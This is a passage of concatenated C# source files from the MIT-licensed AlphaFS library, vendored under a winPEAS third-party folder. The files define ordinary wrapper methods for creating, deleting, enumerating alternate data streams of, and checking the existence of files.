SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Creates or overwrites a file in the specified path. /// The path and name of the file to create. /// A that provides read/write access to the file specified in . [SecurityCritical] public static FileStream Create(string path) { return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.RelativePath); } /// Creates or overwrites the specified file. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// A with the specified buffer size that provides read/write access to the file specified in . [SecurityCritical] public static FileStream Create(string path, int bufferSize) { return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath); } /// Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// A new file with the specified buffer size. [SecurityCritical] public static FileStream Create(string path, int bufferSize, FileOptions options) { return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath); } /// Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// One of the values that determines the access control and audit security for the file. /// A new file with the specified buffer size, file options, and file security. [SecurityCritical] public static FileStream Create(string path, int bufferSize, FileOptions options, FileSecurity fileSecurity) { return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates or overwrites a file in the specified path. /// The path and name of the file to create. /// Indicates the format of the path parameter(s). /// A that provides read/write access to the file specified in . [SecurityCritical] public static FileStream Create(string path, PathFormat pathFormat) { return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, pathFormat); } /// [AlphaFS] Creates or overwrites the specified file. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// Indicates the format of the path parameter(s). /// A with the specified buffer size that provides read/write access to the file specified in . [SecurityCritical] public static FileStream Create(string path, int bufferSize, PathFormat pathFormat) { return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat); } /// [AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// Indicates the format of the path parameter(s). /// A new file with the specified buffer size. [SecurityCritical] public static FileStream Create(string path, int bufferSize, FileOptions options, PathFormat pathFormat) { return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat); } /// [AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// One of the values that determines the access control and audit security for the file. /// Indicates the format of the path parameter(s). /// A new file with the specified buffer size, file options, and file security. [SecurityCritical] public static FileStream Create(string path, int bufferSize, FileOptions options, FileSecurity fileSecurity, PathFormat pathFormat) { return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.CreateText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Text; using StreamWriter = System.IO.StreamWriter; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Creates or opens a file for writing UTF-8 encoded text. /// The file to be opened for writing. /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateText(string path) { return CreateTextCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates or opens a file for writing UTF-8 encoded text. /// The file to be opened for writing. /// Indicates the format of the path parameter(s). /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateText(string path, PathFormat pathFormat) { return CreateTextCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// [AlphaFS] Creates or opens a file for writing encoded text. /// The file to be opened for writing. /// The encoding that is applied to the contents of the file. /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateText(string path, Encoding encoding) { return CreateTextCore(null, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Creates or opens a file for writing encoded text. /// The file to be opened for writing. /// The encoding that is applied to the contents of the file. /// Indicates the format of the path parameter(s). /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateText(string path, Encoding encoding, PathFormat pathFormat) { return CreateTextCore(null, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.CreateTextTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Text; using StreamWriter = System.IO.StreamWriter; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates or opens a file for writing UTF-8 encoded text. /// The transaction. /// The file to be opened for writing. /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path) { return CreateTextCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } /// [AlphaFS] Creates or opens a file for writing encoded text. /// The transaction. /// The file to be opened for writing. /// Indicates the format of the path parameter(s). /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return CreateTextCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// [AlphaFS] Creates or opens a file for writing encoded text. /// The transaction. /// The file to be opened for writing. /// The encoding that is applied to the contents of the file. /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path, Encoding encoding) { return CreateTextCore(transaction, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Creates or opens a file for writing encoded text. /// The transaction. /// The file to be opened for writing. /// The encoding that is applied to the contents of the file. /// Indicates the format of the path parameter(s). /// A StreamWriter that writes to the specified file using UTF-8 encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return CreateTextCore(transaction, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.CreateTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates or overwrites a file in the specified path. /// The transaction. /// The path and name of the file to create. /// A that provides read/write access to the file specified in . [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path) { return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.RelativePath); } /// [AlphaFS] Creates or overwrites the specified file. /// The transaction. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// A with the specified buffer size that provides read/write access to the file specified in . [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize) { return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath); } /// [AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The transaction. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// A new file with the specified buffer size. [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options) { return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath); } /// [AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The transaction. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// One of the values that determines the access control and audit security for the file. /// A new file with the specified buffer size, file options, and file security. [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options, FileSecurity fileSecurity) { return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath); } /// [AlphaFS] Creates or overwrites a file in the specified path. /// The transaction. /// The path and name of the file to create. /// Indicates the format of the path parameter(s). /// A that provides read/write access to the file specified in . [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, pathFormat); } /// [AlphaFS] Creates or overwrites the specified file. /// The transaction. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// Indicates the format of the path parameter(s). /// A with the specified buffer size that provides read/write access to the file specified in . [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, PathFormat pathFormat) { return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat); } /// [AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The transaction. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// Indicates the format of the path parameter(s). /// A new file with the specified buffer size. [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options, PathFormat pathFormat) { return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat); } /// [AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a value that describes how to create or overwrite the file. /// The transaction. /// The name of the file. /// The number of bytes buffered for reads and writes to the file. /// One of the values that describes how to create or overwrite the file. /// One of the values that determines the access control and audit security for the file. /// Indicates the format of the path parameter(s). /// A new file with the specified buffer size, file options, and file security. [SecurityCritical] public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options, FileSecurity fileSecurity, PathFormat pathFormat) { return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Delete.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Deletes the specified file. /// If the file to be deleted does not exist, no exception is thrown. /// The name of the file to be deleted. Wildcard characters are not supported. /// /// /// /// [SecurityCritical] public static void Delete(string path) { DeleteFileCore(null, path, false, 0, PathFormat.RelativePath); } /// Deletes the specified file. /// If the file to be deleted does not exist, no exception is thrown. /// The name of the file to be deleted. Wildcard characters are not supported. /// Indicates the format of the path parameter(s). /// /// /// /// [SecurityCritical] public static void Delete(string path, PathFormat pathFormat) { DeleteFileCore(null, path, false, 0, pathFormat); } /// [AlphaFS] Deletes the specified file. /// If the file to be deleted does not exist, no exception is thrown. /// The name of the file to be deleted. Wildcard characters are not supported. /// true overrides the read only of the file. /// /// /// /// [SecurityCritical] public static void Delete(string path, bool ignoreReadOnly) { DeleteFileCore(null, path, ignoreReadOnly, 0, PathFormat.RelativePath); } /// [AlphaFS] Deletes the specified file. /// If the file to be deleted does not exist, no exception is thrown. /// The name of the file to be deleted. Wildcard characters are not supported. /// true overrides the read only of the file. /// Indicates the format of the path parameter(s). /// /// /// /// [SecurityCritical] public static void Delete(string path, bool ignoreReadOnly, PathFormat pathFormat) { DeleteFileCore(null, path, ignoreReadOnly, 0, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.DeleteTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Deletes the specified file. /// If the file to be deleted does not exist, no exception is thrown. /// The transaction. /// The name of the file to be deleted. Wildcard characters are not supported. /// /// /// /// [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path) { DeleteFileCore(transaction, path, false, 0, PathFormat.RelativePath); } /// [AlphaFS] Deletes the specified file. /// If the file to be deleted does not exist, no exception is thrown. /// The transaction. /// The name of the file to be deleted. Wildcard characters are not supported. /// Indicates the format of the path parameter(s). /// /// /// /// [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { DeleteFileCore(transaction, path, false, 0, pathFormat); } /// [AlphaFS] Deletes the specified file. /// The transaction. /// The name of the file to be deleted. Wildcard characters are not supported. /// true overrides the read only of the file. /// If the file to be deleted does not exist, no exception is thrown. /// /// /// /// [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, bool ignoreReadOnly) { DeleteFileCore(transaction, path, ignoreReadOnly, 0, PathFormat.RelativePath); } /// [AlphaFS] Deletes the specified file. /// The transaction. /// The name of the file to be deleted. Wildcard characters are not supported. /// true overrides the read only of the file. /// Indicates the format of the path parameter(s). /// If the file to be deleted does not exist, no exception is thrown. /// /// /// /// [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, bool ignoreReadOnly, PathFormat pathFormat) { DeleteFileCore(transaction, path, ignoreReadOnly, 0, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.EnumerateAlternateDataStreams.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Enumerates all altername datastreams of the specified file. /// The path to the file to enumerate streams of. /// An enumeration of instances. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreams(string path) { return EnumerateAlternateDataStreamsCore(null, false, path, PathFormat.RelativePath); } /// [AlphaFS] Enumerates all altername datastreams of the specified file. /// The path to the file to enumerate streams of. /// Indicates the format of the path parameter(s). /// An enumeration of instances. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreams(string path, PathFormat pathFormat) { return EnumerateAlternateDataStreamsCore(null, false, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.EnumerateAlternateDataStreamsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Enumerates all altername datastreams of the specified file. /// The transaction. /// The path to the file to enumerate streams of. /// An enumeration of instances. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path) { return EnumerateAlternateDataStreamsCore(transaction, false, path, PathFormat.RelativePath); } /// [AlphaFS] Enumerates all altername datastreams of the specified file. /// The transaction. /// The path to the file to enumerate streams of. /// Indicates the format of the path parameter(s). /// An enumeration of instances. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return EnumerateAlternateDataStreamsCore(transaction, false, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Exists.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Determines whether the specified file exists. /// /// MSDN: .NET 3.5+: Trailing spaces are removed from the end of the /// parameter before checking whether the directory exists. /// The Exists method returns false if any error occurs while trying to /// determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with /// invalid characters or too many characters, a failing or missing disk, or if the caller does not have permission to read the /// file. /// The Exists method should not be used for path validation, /// this method merely checks if the file specified in path exists. /// Passing an invalid path to Exists returns false. /// Be aware that another process can potentially do something with the file in /// between the time you call the Exists method and perform another operation on the file, such as Delete. /// /// The file to check. /// /// Returns true if the caller has the required permissions and /// contains the name of an existing file; otherwise, /// false /// [SecurityCritical] public static bool Exists(string path) { return ExistsCore(null, false, path, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the specified file exists. /// /// MSDN: .NET 3.5+: Trailing spaces are removed from the end of the /// parameter before checking whether the directory exists. /// The Exists method returns false if any error occurs while trying to /// determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with /// invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the /// file. /// The Exists method should not be used for path validation, this method merely checks /// if the file specified in path exists. /// Passing an invalid path to Exists returns false. /// Be aware that another process can potentially do something with the file in /// between the time you call the Exists method and perform another operation on the file, such /// as Delete. /// /// The file to check. /// Indicates the format of the path parameter(s). /// /// Returns true if the caller has the required permissions and /// contains the name of an existing file; otherwise, /// false /// [SecurityCritical] public static bool Exists(string path, PathFormat pathFormat) { return ExistsCore(null, false, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ExistsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// /// [AlphaFS] Determines whether the specified file exists. /// /// /// MSDN: .NET 3.5+: Trailing spaces are removed from the end of the /// parameter before checking whether the directory exists. /// The Exists method returns false if any error occurs while trying to /// determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with /// invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the /// file. /// The Exists method should not be used for path validation, /// this method merely checks if the file specified in path exists. /// Passing an invalid path to Exists returns false. /// Be aware that another process can potentially do something with the file in /// between /// the time you call the Exists method and perform another operation on the file, such /// as Delete. /// /// The transaction. /// The file to check. /// /// Returns true if the caller has the required permissions /// and contains the name of an existing file; otherwise, /// false /// [SecurityCritical] public static bool ExistsTransacted(KernelTransaction transaction, string path) { return ExistsCore(transaction, false, path, PathFormat.RelativePath); } /// /// [AlphaFS] Determines whether the specified file exists. /// /// /// MSDN: .NET 3.5+: Trailing spaces are removed from the end of the /// parameter before checking whether the directory exists. /// The Exists method returns false if any error occurs while trying to /// determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with /// invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the /// file. /// The Exists method should not be used for path validation, /// this method merely checks if the file specified in path exists. /// Passing an invalid path to Exists returns false. /// Be aware that another process can potentially do something with the file in /// between /// the time you call the Exists method and perform another operation on the file, such /// as Delete. /// /// The transaction. /// The file to check. /// Indicates the format of the path parameter(s). /// /// Returns true if the caller has the required permissions /// and contains the name of an existing file; otherwise, /// false /// [SecurityCritical] public static bool ExistsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return ExistsCore(transaction, false, path, pathFormat); } } } ================================================ FILE: 